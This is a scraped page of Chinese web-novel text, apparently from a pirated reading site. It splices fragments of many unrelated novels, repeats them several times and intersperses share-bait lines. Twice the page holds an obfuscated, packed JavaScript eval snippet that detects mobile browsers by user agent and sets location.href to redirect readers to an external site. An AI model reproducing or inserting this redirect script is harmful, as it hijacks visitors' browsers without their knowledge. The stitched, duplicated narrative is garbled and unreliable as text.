等到瞧见青龙的滚烫热息并没有像昨天那样被海军大将一拳轰爆,化作天灾般的火焰流星雨之后,紧张的崔泽这才微微放松下来。 云雪走后,王氏便赶紧回了自己的院子,她不太放心,便打算亲自叮嘱那婆子,便让王嬷嬷去将人叫来。 不过冥河不在意,只要唐僧同意,其他人就算不满,也不敢明着下手,否则会引起唐僧的怀疑。 “谁说的? 此地不易久留,看准方向顺着爬梯向上爬去。过了不到20米的距离终于出了水面。 上官云不愿打草惊蛇,便与岳飞都化作董复的子侄,三人一道往城内而来。众人见面后自然寒暄一番,上官云也将金万城近十年的阴谋诡计为众人分说明白,又说了与完颜宗望之约。 无心道人冷哼一声,纵身而上,手上挥出,冰霜漫出,瞬间冻结了一大片鬼魂。成林挺等人齐齐出手,纵身而上。不一会,便来到妖塔第二层。第二层上妖魔更多,齐齐冲来。刀剑戟枪,齐齐捅来。 “不是吧,亲爱的,怎么,昨晚是不是因为我……没有陪你……,菲菲说这话也是摸石头过河,不过,她却摸对了。因为,她看到这为行长的表情发生了变化,而是一种兴奋的表情。 李知尘捏着魔眼,又喝道:“这片黑森林的尽头!只见魔眼睁开,眼珠望向天上,转了转,又闭了上去。 将擂台布置好了之后,又有一块碧绿的石碑出现,晶莹剔透,上面显示着一个个准备参加比赛的名字,而冥河的名字显然也在上面。 而下一刻,眼前一黑,却是觉得时空颠倒,身上的气息开始下降,似乎冥冥中一股伟大的力量压在了他的身上,将他的三千大道本源封印了起来,就连ròu身之力也被压制了九成九。 邹氏声音高了起来,婆子垂下了眼皮,邹氏连声抽泣着,又伏在床上大哭起来。 “算了算了,今天状态不对,改天再和你好好打一场。徐政先冲曾毅赶紧摇了摇手,心知不是他的对手,但是为了面子还是给自己找了个借口。 最过份的是看热闹也就算了。这玩意儿居然一点忙都不帮,只会在旁边絮叨评价。这才是让人最最不爽的。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 们的变异属性,我好死个明白。 卧底东星,趁机获得他们的犯罪证据,最后是要把东星给瓦解,哪怕陈晋是知道剧情走向的,想要把这么大的一个社团给搞定,这可不是一个简单的事情。 玩家们倒还好,可既然不朽村的老少都眼巴巴凑过来了,叶南也只能看向饭团,饭团二话不说又是几张大桌子架上,一道又一道的美食都不带重样地送上餐桌。 等到瞧见青龙的滚烫热息并没有像昨天那样被海军大将一拳轰爆,化作天灾般的火焰流星雨之后,紧张的崔泽这才微微放松下来。 云雪走后,王氏便赶紧回了自己的院子,她不太放心,便打算亲自叮嘱那婆子,便让王嬷嬷去将人叫来。 不过冥河不在意,只要唐僧同意,其他人就算不满,也不敢明着下手,否则会引起唐僧的怀疑。 “谁说的?”突然,一声不算威严的声音突然从大殿外边传来,所有人的目光都像门外看去。 此地不易久留,看准方向顺着爬梯向上爬去。过了不到20米的距离终于出了水面。 上官云不愿打草惊蛇,便与岳飞都化作董复的子侄,三人一道往城内而来。众人见面后自然寒暄一番,上官云也将金万城近十年的阴谋诡计为众人分说明白,又说了与完颜宗望之约。 无心道人冷哼一声,纵身而上,手上挥出,冰霜漫出,瞬间冻结了一大片鬼魂。成林挺等人齐齐出手,纵身而上。不一会,便来到妖塔第二层。第二层上妖魔更多,齐齐冲来。刀剑戟枪,齐齐捅来。 “不是吧,亲爱的,怎么,昨晚是不是因为我……没有陪你……”,菲菲说这话也是摸石头过河,不过,她却摸对了。因为,她看到这为行长的表情发生了变化,而是一种兴奋的表情。 李知尘捏着魔眼,又喝道:“这片黑森林的尽头!”只见魔眼睁开,眼珠望向天上,转了转,又闭了上去。 将擂台布置好了之后,又有一块碧绿的石碑出现,晶莹剔透,上面显示着一个个准备参加比赛的名字,而冥河的名字显然也在上面。 而下一刻,眼前一黑,却是觉得时空颠倒,身上的气息开始下降,似乎冥冥中一股伟大的力量压在了他的身上,将他的三千大道本源封印了起来,就连ròu身之力也被压制了九成九。 邹氏声音高了起来,婆子垂下了眼皮,邹氏连声抽泣着,又伏在床上大哭起来。 “算了算了,今天状态不对,改天再和你好好打一场。”徐政先冲曾毅赶紧摇了摇手,心知不是他的对手,但是为了面子还是给自己找了个借口。 最过份的是看热闹也就算了。这玩意儿居然一点忙都不帮,只会在旁边絮叨评价。这才是让人最最不爽的。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 们的变异属性我好死个明白。 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无心道人冷哼一声,纵身而上,手上挥出,冰霜漫出,瞬间冻结了一大片鬼魂。成林挺等人齐齐出手,纵身而上。不一会,便来到妖塔第二层。第二层上妖魔更多,齐齐冲来。刀剑戟枪,齐齐捅来。 “不是吧,亲爱的,怎么,昨晚是不是因为我……没有陪你……”,菲菲说这话也是摸石头过河,不过,她却摸对了。因为,她看到这为行长的表情发生了变化,而是一种兴奋的表情。 李知尘捏着魔眼,又喝道:“这片黑森林的尽头!”只见魔眼睁开,眼珠望向天上,转了转,又闭了上去。 将擂台布置好了之后,又有一块碧绿的石碑出现,晶莹剔透,上面显示着一个个准备参加比赛的名字,而冥河的名字显然也在上面。 而下一刻,眼前一黑,却是觉得时空颠倒,身上的气息开始下降,似乎冥冥中一股伟大的力量压在了他的身上,将他的三千大道本源封印了起来,就连ròu身之力也被压制了九成九。 邹氏声音高了起来,婆子垂下了眼皮,邹氏连声抽泣着,又伏在床上大哭起来。 “算了算了,今天状态不对,改天再和你好好打一场。”徐政先冲曾毅赶紧摇了摇手,心知不是他的对手,但是为了面子还是给自己找了个借口。 最过份的是看热闹也就算了。这玩意儿居然一点忙都不帮,只会在旁边絮叨评价。这才是让人最最不爽的。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 们的变异属性,我好死个明白。 卧底东星,趁机获得他们的犯罪证据,最后是要把东星给瓦解,哪怕陈晋是知道剧情走向的,想要把这么大的一个社团给搞定,这可不是一个简单的事情。 玩家们倒还好,可既然不朽村的老少都眼巴巴凑过来了,叶南也只能看向饭团,饭团二话不说又是几张大桌子架上,一道又一道的美食都不带重样地送上餐桌。 等到瞧见青龙的滚烫热息并没有像昨天那样被海军大将一拳轰爆,化作天灾般的火焰流星雨之后,紧张的崔泽这才微微放松下来。 云雪走后,王氏便赶紧回了自己的院子,她不太放心,便打算亲自叮嘱那婆子,便让王嬷嬷去将人叫来。 不过冥河不在意,只要唐僧同意,其他人就算不满,也不敢明着下手,否则会引起唐僧的怀疑。 “谁说的?”突然,一声不算威严的声音突然从大殿外边传来,所有人的目光都像门外看去。 此地不易久留,看准方向顺着爬梯向上爬去。过了不到20米的距离终于出了水面。 上官云不愿打草惊蛇,便与岳飞都化作董复的子侄,三人一道往城内而来。众人见面后自然寒暄一番,上官云也将金万城近十年的阴谋诡计为众人分说明白,又说了与完颜宗望之约。 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无心道人冷哼一声,纵身而上,手上挥出,冰霜漫出,瞬间冻结了一大片鬼魂。成林挺等人齐齐出手,纵身而上。不一会,便来到妖塔第二层。第二层上妖魔更多,齐齐冲来。刀剑戟枪,齐齐捅来。 “不是吧,亲爱的,怎么,昨晚是不是因为我……没有陪你……”,菲菲说这话也是摸石头过河,不过,她却摸对了。因为,她看到这为行长的表情发生了变化,而是一种兴奋的表情。 李知尘捏着魔眼,又喝道:“这片黑森林的尽头!”只见魔眼睁开,眼珠望向天上,转了转,又闭了上去。 将擂台布置好了之后,又有一块碧绿的石碑出现,晶莹剔透,上面显示着一个个准备参加比赛的名字,而冥河的名字显然也在上面。 而下一刻,眼前一黑,却是觉得时空颠倒,身上的气息开始下降,似乎冥冥中一股伟大的力量压在了他的身上,将他的三千大道本源封印了起来,就连ròu身之力也被压制了九成九。 邹氏声音高了起来,婆子垂下了眼皮,邹氏连声抽泣着,又伏在床上大哭起来。 “算了算了,今天状态不对,改天再和你好好打一场。”徐政先冲曾毅赶紧摇了摇手,心知不是他的对手,但是为了面子还是给自己找了个借口。 最过份的是看热闹也就算了。这玩意儿居然一点忙都不帮,只会在旁边絮叨评价。这才是让人最最不爽的。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第一卷 第231章 恭喜你们 阶馥舒梅素,盘花卷烛红。 陈府的新年家宴热闹无比。 大家都在向陈文益和陈宴敬酒。 恭喜陈文益康健平安。 恭祝陈宴在即将到来的春闱中金榜题名。 陈宴喝了不少酒,回到客居时已过子时。 若说让自己做别的事情,自己说不定相信。可若说让自己离开人族,加入灵族,那可是打死他也不会相信。毕竟自己是人族第一传承人。 灵月因为眼前的这一幕被震惊得忘记了反应,而第三波蠕虫则像强力的吸盘一样集体依附在了她的身上。 “你又何必意气用事呢?就因为这一时的冲动?你的目标和梦想都不要了吗?”弗兰克皱起眉,摇了摇头说。 第一件大事是真正的大事,想要自己修复传送阵。没有准备好材料,没有图纸,自己没有搞清原理。一切等于零。 羞愧,愤怒,不甘……各式各样的情绪涌上心头,让吴炜根本没有颜面继续留在这里。 虽然不知道下一次苏醒会是什么时候,但这种无法掌控的感觉,这种被人操控的感觉,让祂感到万分的**和难受。 而她那一双翡翠色的眸子,也逐渐褪去了碧绿,转变为了神秘高贵的紫。 灵月一面应承着,她看到对面来了一辆出租车,她连忙朝出租车司机招了招手。 学生丙躲在了学生乙身后,学生丁和学生点点点又分别躲在学生丙身后。 肆月翻了个白眼,紧张的情绪暂时缓解了不少。不是替仇大妈叫亏,而是替那块价值连城,世上绝无仅有的月儿芽玉佩感到不值。 它知道这个世界的魔法力量非常贫瘠,卢卡施法时调用的,不过是前几次从魔法世界逃逸过来的能量。只不过这里也只有他这一个法师,所以才没有遇到因为魔力稀薄而引发的施法困难。 与此同时,他的真武神境也在同一时间释放,他已经做好和这位强者对战的准备。 她凌乱的说了起来。大量的重武器一齐攻击,炸掉了实验室大楼。那些法师们,并没有立刻发起反 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266777|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 击。在这之后执法队的成员们吸取了之前的教训并没有自己派人进入实验室而是命令当地的警察们进入那里。 三国时期 周围人根本不敢去动葵姬生怕自己**手毛脚让葵姬更加痛苦只好连人带着躺椅一起抬进了房间甄乾这时还想说什么早就准备好的产婆走进房间将房间里唯一的男人:甄乾赶了出去。 “你不应该来这里的你还没有成年你还有更大的作用。”张晨知晓蒙特只有17岁以后对蒙特劝阻道。 张晨听到这男的曾经追求过林雪神识立刻笼罩走过来的男子在张晨的神识之下男子口袋中藏着的项链无所遁形。 刘崖愣了一下但是看着王鸽的眼神还是按照王鸽建议去做了。 这名仆人进入一旁的房间后不久那里就响起了责骂声、呵斥声。再之后是什么东西破碎的声音和**的声音。 没想菲菲哭的停不下来的说:“实在太感动了!我现在哭的停不下来了你们两继续叙旧吧!我去前面好好哭一场。”说着便走了出去。 第一卷 第232章 穿给你看 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用叶绯霜觉得舒服又清净。 她靠在椅子里懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容问道;“这是……这是息力珠吗?”她已经见识过明莹的息力珠知道这绝对是世间至宝。因为明莹的息力珠一经打出她和凌冬就不能动了连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的一时间N市的黑势力全部都在瑟瑟发抖。比起警察他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍有些更是更进行了比较详细的说明。 通身淡蓝色的色调显得手中的武器并不俗气反而有种蓝色水晶的质感让人觉得手中的不是一把杀伤力巨大的长剑而是一把艺术品。 他专注的在听着身边的人讲话她立即收回了目光然后向前走去。 这是一辆大货车司机显示外地人虽然他也听过宁海市最近发生的事情但他显然没往心里去。他还有生病的妻子和两岁的儿子他不敢休息。 “准备三天后我会用能量武器换回来一些超级药剂现在就开始进行选拔我需要最强大的战士使用这些药剂然后展开我们的行动或许我们将会重新完成未尽的使命。”斯特拉克男爵说道。 一眼望去绿色的青山低矮的平房稻田里还有正在迎风生长的秧苗。 “你是审判者审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁这样的手段你居然都用出来了完全让我对你的印象彻底的败坏了。”托尼说道。 可是这一切丁浩不会告诉他他只需要等待等着灭霸消耗剧烈之后轻而易举的获得胜利。 一出醉云楼寻了个暗处施展身法隐藏起來转眼间便來到一处高楼之上。 一股危机从猿灵心中升起以他现在虚弱的身体和不到界王神的实力 “这老怪物被天罗大阵轰杀的跟条死狗似的还能有这么强的爆发力。”王峰无语这等暴躁的战斗力真的出乎他的意外。 老梆子笑而不语自袖袍中掏出一个笼子笼子里面禁锢有一只贼眉鼠眼的老鼠全身毛发皆白像是一团白雪。 不说这黑色蜈蚣多么可怕单单是老头儿生生吃了他这一点就让叶枫心惊不已这老头儿太尼玛生性了。 再看叶枫此时形态格外狼狈了浑身皮开肉绽金色的血骨曝露在外恐怖的雷电还在撕裂着他的身体他一边躲避雷海吞没一边又要抵抗虚无中不断劈落而下的神雷。 不出陆宁的预料金蝉儿最先走出了这一步开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻必然会让自己得到升华蜕变从而成就一个全新的自我。两个世界力量融合会发生什么连陆宁自己都不清楚。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用,叶绯霜觉得舒服又清净。 她靠在椅子里,懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容,问道;“这是……这是息力珠吗?”她已经见识过明莹的息力珠,知道这绝对是世间至宝。因为明莹的息力珠一经打出,她和凌冬就不能动了,连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的,一时间N市的黑势力全部都在瑟瑟发抖。比起警察,他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍,有些更是更进行了比较详细的说明。 通身淡蓝色的色调,显得手中的武器并不俗气,反而有种蓝色水晶的质感,让人觉得手中的不是一把杀伤力巨大的长剑,而是一把艺术品。 他专注的在听着身边的人讲话,她立即收回了目光,然后向前走去。 这是一辆大货车,司机显示外地人,虽然他也听过宁海市最近发生的事情,但他显然没往心里去。他还有生病的妻子,和两岁的儿子,他不敢休息。 “准备,三天后我会用能量武器换回来一些超级药剂,现在就开始进行选拔,我需要最强大的战士使用这些药剂,然后展开我们的行动,或许我们将会重新完成未尽的使命。”斯特拉克男爵说道。 一眼望去,绿色的青山,低矮的平房,稻田里还有正在迎风生长的秧苗。 “你是审判者,审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁,这样的手段你居然都用出来了,完全让我对你的印象彻底的败坏了。”托尼说道。 可是这一切丁浩不会告诉他,他只需要等待等着灭霸消耗剧烈之后,轻而易举的获得胜利。 一出醉云楼,寻了个暗处施展身法隐藏起來,转眼间,便來到一处高楼之上。 一股危机从猿灵心中升起,以他现在虚弱的身体和不到界王神的实力,这两条山灵幻化的巨龙带给了他很大的压力。 “这老怪物被天罗大阵轰杀的跟条死狗似的,还能有这么强的爆发力。”王峰无语,这等暴躁的战斗力真的出乎他的意外。 老梆子笑而不语,自袖袍中掏出一个笼子,笼子里面禁锢有一只贼眉鼠眼的老鼠,全身毛发皆白,像是一团白雪。 不说这黑色蜈蚣多么可怕,单单是老头儿生生吃了他这一点就让叶枫心惊不已,这老头儿太尼玛生性了。 再看叶枫,此时形态格外狼狈了,浑身皮开肉绽,金色的血骨曝露在外,恐怖的雷电还在撕裂着他的身体,他一边躲避雷海吞没,一边又要抵抗虚无中不断劈落而下的神雷。 不出陆宁的预料,金蝉儿最先走出了这一步,开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻,必然会让自己得到升华,蜕变,从而成就一个全新的自我。两个世界力量融合会发生什么,连陆宁自己都不清楚。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用叶绯霜觉得舒服又清净。 她靠在椅子里懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容问道;“这是……这是息力珠吗?”她已经见识过明莹的息力珠知道这绝对是世间至宝。因为明莹的息力珠一经打出她和凌冬就不能动了连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的一时间N市的黑势力全部都在瑟瑟发抖。比起警察他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍有些更是更进行了比较详细的说明。 通身淡蓝色的色调显得手中的武器并不俗气反而有种蓝色水晶的质感让人觉得手中的不是一把杀伤力巨大的长剑而是一把艺术品。 他专注的在听着身边的人讲话她立即收回了目光然后向前走去。 这是一辆大货车司机显示外地人虽然他也听过宁海市最近发生的事情但他显然没往心里去。他还有生病的妻子和两岁的儿子他不敢休息。 “准备三天后我会用能量武器换回来一些超级药剂现在就开始进行选拔我需要最强大的战士使用这些药剂然后展开我们的行动或许我们将会重新完成未尽的使命。”斯特拉克男爵说道。 一眼望去绿色的青山低矮的平房稻田里还有正在迎风生长的秧苗。 “你是审判者审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁这样的手段你居然都用出来了完全让我对你的印象彻底的败坏了。”托尼说道。 可是这一切丁浩不会告诉他他只需要等待等着灭霸消耗剧烈之后轻而易举的获得胜利。 一出醉云楼寻了个暗处施展身法隐藏起來转眼间便來到一处高楼之上。 一股危机从猿灵心中升起以他现在虚弱的身体和不到界王神的实力这两条山灵幻化的巨龙带给了他很大的压力。 “这老怪物被天罗大阵轰杀的跟条死狗似的还能有这么强的爆发力。”王峰无语这等暴躁的战斗力真的出乎他的意外。 老梆子笑而不语自袖袍中掏出一个笼子笼子里面禁锢有一只贼眉鼠眼的老鼠全身毛发皆白像是一团白雪。 不说这黑色蜈蚣多么可怕单单是老头儿生生吃了他这一点就让叶枫心惊不已这老头儿太尼玛生性了。 再看叶枫此时形态格外狼狈了浑身皮开肉绽 不出陆宁的预料金蝉儿最先走出了这一步开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻必然会让自己得到升华蜕变从而成就一个全新的自我。两个世界力量融合会发生什么连陆宁自己都不清楚。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用,叶绯霜觉得舒服又清净。 她靠在椅子里,懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容,问道;“这是……这是息力珠吗?她已经见识过明莹的息力珠,知道这绝对是世间至宝。因为明莹的息力珠一经打出,她和凌冬就不能动了,连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的,一时间N市的黑势力全部都在瑟瑟发抖。比起警察,他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍,有些更是更进行了比较详细的说明。 通身淡蓝色的色调,显得手中的武器并不俗气,反而有种蓝色水晶的质感,让人觉得手中的不是一把杀伤力巨大的长剑,而是一把艺术品。 他专注的在听着身边的人讲话,她立即收回了目光,然后向前走去。 这是一辆大货车,司机显示外地人,虽然他也听过宁海市最近发生的事情,但他显然没往心里去。他还有生病的妻子,和两岁的儿子,他不敢休息。 “准备,三天后我会用能量武器换回来一些超级药剂,现在就开始进行选拔,我需要最强大的战士使用这些药剂,然后展开我们的行动,或许我们将会重新完成未尽的使命。斯特拉克男爵说道。 一眼望去,绿色的青山,低矮的平房,稻田里还有正在迎风生长的秧苗。 “你是审判者,审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁,这样的手段你居然都用出来了,完全让我对你的印象彻底的败坏了。托尼说道。 可是这一切丁浩不会告诉他,他只需要等待等着灭霸消耗剧烈之后,轻而易举的获得胜利。 一出醉云楼,寻了个暗处施展身法隐藏起來,转眼间,便來到一处高楼之上。 一股危机从猿灵心中升起,以他现在虚弱的身体和不到界王神的实力,这两条山灵幻化的巨龙带给了他很大的压力。 “这老怪物被天罗大阵轰杀的跟条死狗似的,还能有这么强的爆发力。 老梆子笑而不语,自袖袍中掏出一个笼子,笼子里面禁锢有一只贼眉鼠眼的老鼠,全身毛发皆白,像是一团白雪。 不说这黑色蜈蚣多么可怕,单单是老头儿生生吃了他这一点就让叶枫心惊不已,这老头儿太尼玛生性了。 再看叶枫,此时形态格外狼狈了,浑身皮开肉绽,金色的血骨曝露在外,恐怖的雷电还在撕裂着他的身体,他一边躲避雷海吞没,一边又要抵抗虚无中不断劈落而下的神雷。 不出陆宁的预料,金蝉儿最先走出了这一步,开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻,必然会让自己得到升华,蜕变,从而成就一个全新的自我。两个世界力量融合会发生什么,连陆宁自己都不清楚。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用叶绯霜觉得舒服又清净。 她靠在椅子里懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容问道;“这是……这是息力珠吗?”她已经见识过明莹的息力珠知道这绝对是世间至宝。因为明莹的息力珠一经打出她和凌冬就不能动了连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的一时间N市的黑势力全部都在瑟瑟发抖。比起警察他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍有些更是更进行了比较详细的说明。 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这是一辆大货车,司机显示外地人,虽然他也听过宁海市最近发生的事情,但他显然没往心里去。他还有生病的妻子,和两岁的儿子,他不敢休息。 “准备,三天后我会用能量武器换回来一些超级药剂,现在就开始进行选拔,我需要最强大的战士使用这些药剂,然后展开我们的行动,或许我们将会重新完成未尽的使命。 一眼望去,绿色的青山,低矮的平房,稻田里还有正在迎风生长的秧苗。 “你是审判者,审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁,这样的手段你居然都用出来了,完全让我对你的印象彻底的败坏了。托尼说道。 可是这一切丁浩不会告诉他,他只需要等待等着灭霸消耗剧烈之后,轻而易举的获得胜利。 一出醉云楼,寻了个暗处施展身法隐藏起來,转眼间,便來到一处高楼之上。 一股危机从猿灵心中升起,以他现在虚弱的身体和不到界王神的实力,这两条山灵幻化的巨龙带给了他很大的压力。 “这老怪物被天罗大阵轰杀的跟条死狗似的,还能有这么强的爆发力。王峰无语,这等暴躁的战斗力真的出乎他的意外。 老梆子笑而不语,自袖袍中掏出一个笼子,笼子里面禁锢有一只贼眉鼠眼的老鼠,全身毛发皆白,像是一团白雪。 不说这黑色蜈蚣多么可怕,单单是老头儿生生吃了他这一点就让叶枫心惊不已,这老头儿太尼玛生性了。 再看叶枫,此时形态格外狼狈了,浑身皮开肉绽,金色的血骨曝露在外,恐怖的雷电还在撕裂着他的身体,他一边躲避雷海吞没,一边又要抵抗虚无中不断劈落而下的神雷。 不出陆宁的预料,金蝉儿最先走出了这一步,开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻,必然会让自己得到升华,蜕变,从而成就一个全新的自我。两个世界力量融合会发生什么,连陆宁自己都不清楚。 你的朋友正在书荒,快去帮帮他吧 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用叶绯霜觉得舒服又清净。 她靠在椅子里懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容问道;“这是……这是息力珠吗?”她已经见识过明莹的息力珠知道这绝对是世间至宝。因为明莹的息力珠一经打出她和凌冬就不能动了连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 精准的枪法!果断无比的出手!毫无顾忌的行事!说真的一时间N市的黑势力全部都在瑟瑟发抖。比起警察他们更怕碰到这种强势又蛮不讲理的同道中人。 秋婉君随后还给余诗洋大致给余诗洋进行了一番资料介绍有些更是更进行了比较详细的说明。 通身淡蓝色的色调显得手中的武器并不俗气反而有种蓝色水晶的质感让人觉得手中的不是一把杀伤力巨大的长剑而是一把艺术品。 他专注的在听着身边的人讲话她立即收回了目光然后向前走去。 这是一辆大货车司机显示外地人虽然他也听过宁海市最近发生的事情但他显然没往心里去。他还有生病的妻子和两岁的儿子他不敢休息。 “准备三天后我会用能量武器换回来一些超级药剂现在就开始进行选拔我需要最强大的战士使用这些药剂然后展开我们的行动或许我们将会重新完成未尽的使命。”斯特拉克男爵说道。 一眼望去绿色的青山低矮的平房稻田里还有正在迎风生长的秧苗。 “你是审判者审判罪孽的审判者?可是在我面前怎么就成了一个绑匪?用人质威胁这样的手段你居然都用出来了完全让我对你的印象彻底的败坏了。”托尼说道。 可是这一切丁浩不会告诉他他只需要等待等着灭霸消耗剧烈之后轻而易举的获得胜利。 一出醉云楼寻了个暗处施展身法隐藏起來转眼间便來到一处高楼之上。 一股危机从猿灵心中升起以他现在虚弱的身体和不到界王神的实力这两条山灵幻化的巨龙带给了他很大的压力。 “这老怪物被天罗大阵轰杀的跟条死狗似的还能有这么强的爆发力。”王峰无语这等暴躁的战斗力真的出乎他的意外。 老梆子笑而不语自袖袍中掏出一个笼子笼子里面禁锢有一只贼眉鼠眼的老鼠全身毛发皆白像是一团白雪。 不说这黑色蜈蚣多么可怕单单是老头儿生生吃了他这一点就让叶枫心惊不已这老头儿太尼玛生性了。 再看叶枫此时形态格外狼狈了浑身皮开肉绽金色的血骨曝露在外恐怖的雷电还在撕裂着他的身体他一边躲避雷海吞没一边又要抵抗虚无中不断劈落而下的神雷。 不出陆宁的预料金蝉儿最先走出了这一步开始了两个世界不同修行体系的融合修炼。当他觉悟的那一刻必然会让自己得到升华 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 郑府这个没有什么年味的年也算是过去了。 今年连拜年都不用,叶绯霜觉得舒服又清净。 她靠在椅子里,懒洋洋地抱着一只小小的狸花猫。 狸花猫是陈宴送的生辰贺礼。 熏儿脸上动容,问道;“这是……这是息力珠吗?她已经见识过明莹的息力珠,知道这绝对是世间至宝。因为明莹的息力珠一经打出,她和凌冬就不能动了,连阿姬、亘熊、古蟹三个仙人高速飞射中的兵器都被瞬间定住。 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陈宴想反驳她,说即便不是素锦的缎子,他也会穿给她看。 但是转而一想,如果不是她送的,就这个颜色,他根本不会上身。 于是陈宴换了个话题:“我明日就要去京城了。” 就算没有阿迪莱,八王爷的婚姻大事,也不会如意的,该来的迟早要来。 一行人走了半个时辰的样子才回到镇上,走进一家看起来还不错的客栈。 不一会儿就有人来开门了,开门的是一个少年,面色白皙,略显稚嫩的样子,看起来差不多也就十五六岁。 再怎么样,她也辛辛苦苦追了金时澈那么多年,就是铁打的心也该热了。 他终于明白简汐这辈子为什么这喜欢吃甜食了。甜食能刺激大脑分泌更多的多巴胺,改善心情。 中年男人的声音是经过元力加持了的,就像是自带一个巨大扩音器,他的声音传遍四周每一个角落。 沈思娴阴鸷的笑声落下,她手中的剥魂鞭发出了清脆又骇然的声响,再次像银蛇般在空中飞过,落在沈云舒身上。 艘恨封术故技诺孙由仇不秘我心想这个**台不愧是商人出身,我还没有报价呢,立马就跟我讨价还价起来。 “南少,我们是皇家警察,请您跟我们走一趟。”为首的警官说。 毕竟蒋静舟跟大叔认识了十二年,中间发生过的那些事情,都不是她和大叔相处的这短短一年时间能够比的。 年轻男人张了张嘴,却没说话,拿着白桃给他倒的茶咕嘟咕嘟一口气喝了个精光,白桃呆愣了一会儿,忽然明白,这是饿了呀。 中年术师忽然高高跃起,以全身真气猛然把这股巨大无比的水柱凝聚压缩成一条水鞭,双手紧紧握住,当空猛的朝丁柒柒脑袋抽下。 桃花岛所有人都知道,苏羽虽然只有三四岁,可是脑瓜子就跟成年人好像没什么区别一样,甚至有时候还有几分老派的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284259|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是结果却并没有什么卵用,元气丸在最 后一步的时候依然还是稳如泰山说不突破就不突破。 至于他是怎么得到吞天兽的还有一些细节方面的问题就只能问盛恒本人了。只是他已经彻底崩溃了也不知道什么时候能恢复神智所以这事就卡在这里了。 先前一直都让卖猪肉的老板帮忙剁好了肉这回自己剁白桃有些力不从心额头上沁出了细细密密的汗珠她偏过头将汗珠蹭在肩头。 把黄金蚁后爆出的元气技结晶选择吸收炼化可是却提示光属性不足需要7点光属性才能够炼化。 大叔要是想知道谁没有好好上班来这里查个监控岂不是就知道了。 季沣的脸色更黑了眉头顿时拧了起来终于忍不住下去瞪向云皎道 